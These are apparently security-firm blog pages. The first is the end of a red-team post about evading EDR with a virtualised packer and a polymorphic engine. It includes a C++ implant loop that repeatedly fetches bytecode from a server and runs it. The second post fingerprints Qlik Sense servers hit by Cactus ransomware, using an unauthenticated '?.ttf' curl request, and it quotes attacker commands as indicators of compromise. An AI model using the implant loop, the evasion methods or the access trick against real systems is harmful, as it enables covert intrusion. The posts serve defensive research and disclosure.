Because both sets of bytecode execute within the same virtual machine, and therefore on the same thread, no distinction can be made between the origin of each event. The OS, and any event consumers will observe a single thread generating multiple events, both benign and possibly malicious. Most importantly for an attacker, this could break patterns of behavior being monitored for.

As an additional benefit of these added instructions, bytecode can now be obtained and executed at runtime. This proved to be an extremely useful feature during payload development, as instead of staging shellcode during Command and Control, bytecode can be provided. This removes the necessity for allocating executable memory regions (or changing memory protection at a later stage) to execute shellcode in, in turn removing the opportunity for defensive products to inspect buffers used for dynamic code execution often leveraged by attackers.

For example, the following behavior could be implemented to create a simple polling implant, requesting bytecode every 10 seconds:

This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode characters
// allocate the virtual machine object
auto vm = allocate_vm_object();
while (true) {
// attempt to obtain bytecode from server
void* bytecode = http_get("https://example.com/bytecode&quot;);
// check if we received bytecode
if (bytecode) {
// initialize the vm object with our bytecode and execute it in its entirety
vmcall<vminit>::call(vm, bytecode, nullptr);
vmcall<vmexec>::call(vm, RUN_UNTIL_END);
}
// free the bytecode buffer and sleep for 10 seconds
free(bytecode);
sleep(10'000);
}

Protecting the Virtual Machine

At this point, we have defeated most detection measures that we are aware of, and set out to defeat. However, the VM shares a fundamental weakness with the original packers: static patterns in the native-code VM. Throughout its development, the VM was kept as simple as possible, adhering to constraints set out to enable support for a polymorphic engine to be executed on the VM’s binary code. This made the development significantly more cumbersome, but, given a sufficiently strong polymorphic engine, does close the detection loop fully. The polymorphic engine we developed has been battle tested over several years of use against modern EDR, and antimalware. Despite the fact that the code of the engine was designed years ago, and has not significantly changed since, it still manages to mutate malicious code to the extent that it becomes undetected at runtime and scan time.

Due to the way the universe works, the engine cannot support arbitrary programs. The largest constraint is that dynamic control flow is not supported. This means that indirect function calls, indirect jumps and the ret instruction could all potentially break the mutated code. Our engine assumes you know what you’re doing, and won’t complain when such instructions are encountered, but the resulting code will likely not work as intended.

The polymorphic engine supports several different mutation techniques, including:

  • Instruction substitution: replacing instructions with semantically equivalent ones. For example: mov eax, 0 can be replaced with xor eax, eax;
  • Basic block reordering: changing the order of basic blocks in the code;
  • Basic block creation: inserting new basic blocks into the code, through jumps and push rets;
  • NOP instruction insertion: inserting NOP instructions to change the code’s layout.

The most important feature is that the output of the engine can be fed back into the engine again. This allows for multiple iterations of mutation, which leads to virtually incomprehensible disassembly. This is especially useful when the input is a small piece of code, like a shellcode loader. Sufficient numbers of mutation will double, or quadruple the size of the output, further muddying the waters for defenders.

Conclusion

Due to the ever-changing security landscape, both attackers and defenders must stay on their toes. Defensive security products continue to improve over time, making it more difficult for attackers to remain undetected, or even execute malicious code at all. Detection of payloads has shifted from static analysis to a combination of heuristics and signatures, rendering some tools obsolete.

In this blog post, we have described a tool that was written to tackle both static and dynamic analysis by way of virtualisation. This technique, along with employing a custom polymorphic engine attempts to evade these types of analysis by layers of obfuscation. To bypass heuristic analysis, support for multiple virtual machines to run concurrently was added, disrupting patterns in created events. As an added bonus, reverse engineering a sample without prior knowledge could be a daunting task. Analysts would have to reverse not only the morphed virtual machine itself, but extract morphed bytecode for further analysis. This does not remediate the issue of reverse engineering payloads for an attacker, but does significantly slow down the process, providing the attacker with more time.

In practice, this project has allowed attacks to remain undetected during Red Teaming and TIBER exercises in some of the most heavily monitored environments, making use of state of the art EDR solutions. Moreover, due to the addition of a transpiler converting compiled binaries into custom bytecode, both the speed and ease of development of custom payloads was greatly improved.

The following is a non-exhaustive list of payloads that were created during a recent Red Teaming exercise, successfully evading detection:

  • Multiple persistence modules;
  • Multiple lateral movement modules;
  • Shellcode and bytecode executor;
  • Antivirus and EDR patchers;
  • HTTP(s) and DNS beacons;
  • Tools querying Active Directory information.

Porting of additional tools is taking place, and we expect to have virtualized versions of most tools used in a Red Team exercise in the near future.

Looking Forward

The motivations for this blog post are two-fold. Firstly, we wanted to share what we think is exciting research with the community. We learned what we did from openly shared blog post and articles, and want to give back to the community. We use all the knowledge we gained to improve the security of our customers through offensive security testing, and we hope that this blog post will help and inspire others to do the same.

Secondly, although security products have advanced tremendously, we want to show that there is still room for improvement. We have noticed a tendency to “slap an EDR on it and call it a day” in certain niches of the security industry. Although that might work for some time, because a modern EDR truly adds a strong layer of security, the door is still open for attackers to bypass these products. As the landscape evolves, and general cyber security knowledge increases, the skill and sophistication of cyber criminal elements will rise. Consider this blog post, and the technique explained within, as a warning and a call to action. We hope security vendors will think about how they can detect these types of payloads, and how they can improve their products to stay ahead of the curve, as they are right now.

References

  1. https://www.openwall.com/lists/oss-security/2024/03/29/4 ↩︎
  2. https://en.wikipedia.org/wiki/Polymorphic_engine ↩︎
  3. https://en.wikipedia.org/wiki/Executable-space_protection ↩︎
  4. https://en.wikipedia.org/wiki/Metamorphic_code ↩︎
  5. https://vmpsoft.com/ ↩︎
  6. https://en.wikipedia.org/wiki/Opcode ↩︎
  7. https://en.wikipedia.org/wiki/Bytecode ↩︎
  8. https://en.wikipedia.org/wiki/Disassembler#Length_disassembler ↩︎
  9. https://en.wikipedia.org/wiki/Streaming_SIMD_Extensions ↩︎
  10. https://en.wikipedia.org/wiki/Advanced_Vector_Extensions ↩︎
  11. https://www.felixcloutier.com/x86/bt ↩︎
  12. https://github.com/icedland/iced ↩︎
  13. https://en.wikipedia.org/wiki/Position-independent_code ↩︎
  14. https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/beacon-object-files_main.htm ↩︎
  15. https://learn.microsoft.com/en-us/cpp/cpp/stdcall ↩︎
  16. https://devblogs.microsoft.com/oldnewthing/20160623-00/?p=93735 ↩︎
  17. https://www.felixcloutier.com/x86/lea ↩︎
  18. https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics_aggressor-scripts/as-resources_functions.htm#bof_pack ↩︎
  19. https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-pssetcreateprocessnotifyroutine ↩︎
  20. https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-pssetloadimagenotifyroutine ↩︎
  21. https://learn.microsoft.com/en-us/windows-hardware/drivers/devtest/event-tracing-for-windows–etw- ↩︎

Sifting through the spines: identifying (potential) Cactus ransomware victims

25 April 2024 at 06:00

Authored by Willem Zeeman and Yun Zheng Hu

This blog is part of a series written by various Dutch cyber security firms that have collaborated on the Cactus ransomware group, which exploits Qlik Sense servers for initial access. To view all of them please check the central blog by Dutch special interest group Cyberveilig Nederland [1]

The effectiveness of the public-private partnership called Melissa [2] is increasingly evident. The Melissa partnership, which includes Fox-IT, has identified overlap in a specific ransomware tactic. Multiple partners, sharing information from incident response engagements for their clients, found that the Cactus ransomware group uses a particular method for initial access. Following that discovery, NCC Group’s Fox-IT developed a fingerprinting technique to identify which systems around the world are vulnerable to this method of initial access or, even more critically, are already compromised.

Qlik Sense vulnerabilities

Qlik Sense, a popular data visualisation and business intelligence tool, has recently become a focal point in cybersecurity discussions. This tool, designed to aid businesses in data analysis, has been identified as a key entry point for cyberattacks by the Cactus ransomware group.

The Cactus ransomware campaign

Since November 2023, the Cactus ransomware group has been actively targeting vulnerable Qlik Sense servers. These attacks are not just about exploiting software vulnerabilities; they also involve a psychological component where Cactus misleads its victims with fabricated stories about the breach. This likely is part of their strategy to obscure their actual method of entry, thus complicating mitigation and response efforts for the affected organizations.

For those looking for in-depth coverage of these exploits, the Arctic Wolf blog [3] provides detailed insights into the specific vulnerabilities being exploited, notably CVE-2023-41266, CVE-2023-41265 also known as ZeroQlik, and potentially CVE-2023-48365 also known as DoubleQlik.

Threat statistics and collaborative action

The scope of this threat is significant. In total, we identified 5205 Qlik Sense servers, 3143 servers seem to be vulnerable to the exploits used by the Cactus group. This is based on the initial scan on 17 April 2024. Closer to home in the Netherlands, we’ve identified 241 vulnerable systems, fortunately most don’t seem to have been compromised. However, 6 Dutch systems weren’t so lucky and have already fallen victim to the Cactus group. It’s crucial to understand that “already compromised” can mean that either the ransomware has been deployed and the initial access artifacts left behind were not removed, or the system remains compromised and is potentially poised for a future ransomware attack.

Since 17 April 2024, the DIVD (Dutch Institute for Vulnerability Disclosure) and the governmental bodies NCSC (Nationaal Cyber Security Centrum) and DTC (Digital Trust Center) have teamed up to globally inform (potential) victims of cyberattacks resembling those from the Cactus ransomware group. This collaborative effort has enabled them to reach out to affected organisations worldwide, sharing crucial information to help prevent further damage where possible.

Identifying vulnerable Qlik Sense servers

Expanding on Praetorian’s thorough vulnerability research on the ZeroQlik and DoubleQlik vulnerabilities [4,5], we found a method to identify the version of a Qlik Sense server by retrieving a file called product-info.json from the server. While we acknowledge the existence of Nuclei templates for the vulnerability checks, using the server version allows for a more reliable evaluation of potential vulnerability status, e.g. whether it’s patched or end of support.

This JSON file contains the release label and version numbers by which we can identify the exact version that this Qlik Sense server is running.

Figure 1: Qlik Sense product-info.json file containing version information

Keep in mind that although Qlik Sense servers are assigned version numbers, the vendor typically refers to advisories and updates by their release label, such as “February 2022 Patch 3”.

The following cURL command can be used to retrieve the product-info.json file from a Qlik server:

curl -H "Host: localhost" -vk 'https://<ip>/resources/autogenerated/product-info.json?.ttf'

Note that we specify ?.ttf at the end of the URL to let the Qlik proxy server think that we are requesting a .ttf file, as font files can be accessed unauthenticated. Also, we set the Host header to localhost or else the server will return 400 - Bad Request - Qlik Sense, with the message The http request header is incorrect.

Retrieving this file with the ?.ttf extension trick has been fixed in the patch that addresses CVE-2023-48365 and you will always get a 302 Authenticate at this location response:

> GET /resources/autogenerated/product-info.json?.ttf HTTP/1.1
> Host: localhost
> Accept: */*
>
< HTTP/1.1 302 Authenticate at this location
< Cache-Control: no-cache, no-store, must-revalidate
< Location: https://localhost/internal_forms_authentication/?targetId=2aa7575d-3234-4980-956c-2c6929c57b71
< Content-Length: 0
<

Nevertheless, this is still a good way to determine the state of a Qlik instance, because if it redirects using 302 Authenticate at this location it is likely that the server is not vulnerable to CVE-2023-48365.

An example response from a vulnerable server would return the JSON file:

> GET /resources/autogenerated/product-info.json?.ttf HTTP/1.1
> Host: localhost
> Accept: */*
>
< HTTP/1.1 200 OK
< Set-Cookie: X-Qlik-Session=893de431-1177-46aa-88c7-b95e28c5f103; Path=/; HttpOnly; SameSite=Lax; Secure
< Cache-Control: public, max-age=3600
< Transfer-Encoding: chunked
< Content-Type: application/json;charset=utf-8
< Expires: Tue, 16 Apr 2024 08:14:56 GMT
< Last-Modified: Fri, 04 Nov 2022 23:28:24 GMT
< Accept-Ranges: bytes
< ETag: 638032013040000000
< Server: Microsoft-HTTPAPI/2.0
< Date: Tue, 16 Apr 2024 07:14:55 GMT
< Age: 136
<
{"composition":{"contentHash":"89c9087978b3f026fb100267523b5204","senseId":"qliksenseserver:14.54.21","releaseLabel":"February 2022 Patch 12","originalClassName":"Composition","deprecatedProductVersion":"4.0.X","productName":"Qlik Sense","version":"14.54.21","copyrightYearRange":"1993-2022","deploymentType":"QlikSenseServer"},
<snipped>

We utilised Censys and Google BigQuery [6] to compile a list of potential Qlik Sense servers accessible on the internet and conducted a version scan against them. Subsequently, we extracted the Qlik release label from the JSON response to assess vulnerability to CVE-2023-48365.

Our vulnerability assessment for DoubleQlik / CVE-2023-48365 operated on the following criteria:

  1. The release label corresponds to vulnerability statuses outlined in the original ZeroQlik and DoubleQlik vendor advisories [7,8].
  2. The release label is designated as End of Support (EOS) by the vendor [9], such as “February 2019 Patch 5”.

We consider a server non-vulnerable if:

  1. The release label date is post-November 2023, as the advisory states that “November 2023” is not affected.
  2. The server responded with HTTP/1.1 302 Authenticate at this location.

Any other responses were disregarded as invalid Qlik server instances.

As of 17 April 2024, and as stated in the introduction of this blog, we have detected 5205 Qlik Servers on the Internet. Among them, 3143 servers are still at risk of DoubleQlik, indicating that 60% of all Qlik Servers online remain vulnerable.

Figure 2: Qlik Sense patch status for DoubleQlik CVE-2023-48365

The majority of vulnerable Qlik servers reside in the United States (396), trailed by Italy (280), Brazil (244), the Netherlands (241), and Germany (175).

Figure 3: Top 20 countries with servers vulnerable to DoubleQlik CVE-2023-48365

Identifying compromised Qlik Sense servers

Based on insights gathered from the Arctic Wolf blog and our own incident response engagements where the Cactus ransomware was observed, it’s evident that the Cactus ransomware group continues to redirect the output of executed commands to a True Type font file named qle.ttf, likely abbreviated for “qlik exploit”.

Below are a few examples of executed commands and their output redirection by the Cactus ransomware group:

whoami /all > ../Client/qmc/fonts/qle.ttf
quser > ../Client/qmc/fonts/qle.ttf

In addition to the qle.ttf file, we have also observed instances where qle.woff was used:

Figure 4: Directory listing with exploitation artefacts left by Cactus ransomware group

It’s important to note that these font files are not part of a default Qlik Sense server installation.

We discovered that files with a font file extension such as .ttf and .woff can be accessed without any authentication, regardless of whether the server is patched. This likely explains why the Cactus ransomware group opted to store command output in font files within the fonts directory, which in turn, also serves as a useful indicator of compromise.

Our scan for both font files, found a total of 122 servers with the indicator of compromise. The United States ranked highest in exploited servers with 49 online instances carrying the indicator of compromise, followed by Spain (13), Italy (11), the United Kingdom (8), Germany (7), and then Ireland and the Netherlands (6).

Figure 5: Top 20 countries with known compromised Qlik Sense servers

Out of the 122 compromised servers, 46 were not vulnerable anymore.

When the indicator of compromise artefact is present on a remote Qlik Sense server, it can imply various scenarios. Firstly, it may suggest that remote code execution was carried out on the server, followed by subsequent patching to address the vulnerability (if the server is not vulnerable anymore). Alternatively, its presence could signify a leftover artefact from a previous security incident or unauthorised access.

While the root cause for the presence of these files is hard to determine from the outside it still is a reliable indicator of compromise.

Responsible disclosure by the DIVD
We shared our fingerprints and scan data with the Dutch Institute of Vulnerability Disclosure (DIVD), who then proceeded to issue responsible disclosure notifications to the administrators of the Qlik Sense servers.

Call to action

Ensure the security of your Qlik Sense installations by checking your current version. If your software is still supported, apply the latest patches immediately. For systems that are at the end of support, consider upgrading or replacing them to maintain robust security.

Additionally, to enhance your defences, it’s recommended to avoid exposing these services to the entire internet. Implement IP whitelisting if public access is necessary, or better yet, make them accessible only through secure remote working solutions.

If you discover you’ve been running a vulnerable version, it’s crucial to contact your (external) security experts for a thorough check-up to confirm that no breaches have occurred. Taking these steps will help safeguard your data and infrastructure from potential threats.

References

  1. https://cyberveilignederland.nl/actueel/persbericht-samenwerkingsverband-melissa-vindt-diverse-nederlandse-slachtoffers-van-ransomwaregroepering-cactus ↩︎
  2. https://www.ncsc.nl/actueel/nieuws/2023/oktober/3/melissa-samenwerkingsverband-ransomwarebestrijding ↩︎
  3. https://arcticwolf.com/resources/blog/qlik-sense-exploited-in-cactus-ransomware-campaign/ ↩︎
  4. https://www.praetorian.com/blog/qlik-sense-technical-exploit/ ↩︎
  5. https://www.praetorian.com/blog/doubleqlik-bypassing-the-original-fix-for-cve-2023-41265/ ↩︎
  6. https://support.censys.io/hc/en-us/articles/360038759991-Google-BigQuery-Introduction ↩︎
  7. https://community.qlik.com/t5/Official-Support-Articles/Critical-Security-fixes-for-Qlik-Sense-Enterprise-for-Windows/ta-p/2110801 ↩︎
  8. https://community.qlik.com/t5/Official-Support-Articles/Critical-Security-fixes-for-Qlik-Sense-Enterprise-for-Windows/ta-p/2120325 ↩︎
  9. https://community.qlik.com/t5/Product-Lifecycle/Qlik-Sense-Enterprise-on-Windows-Product-Lifecycle/ta-p/1826335 ↩︎
❌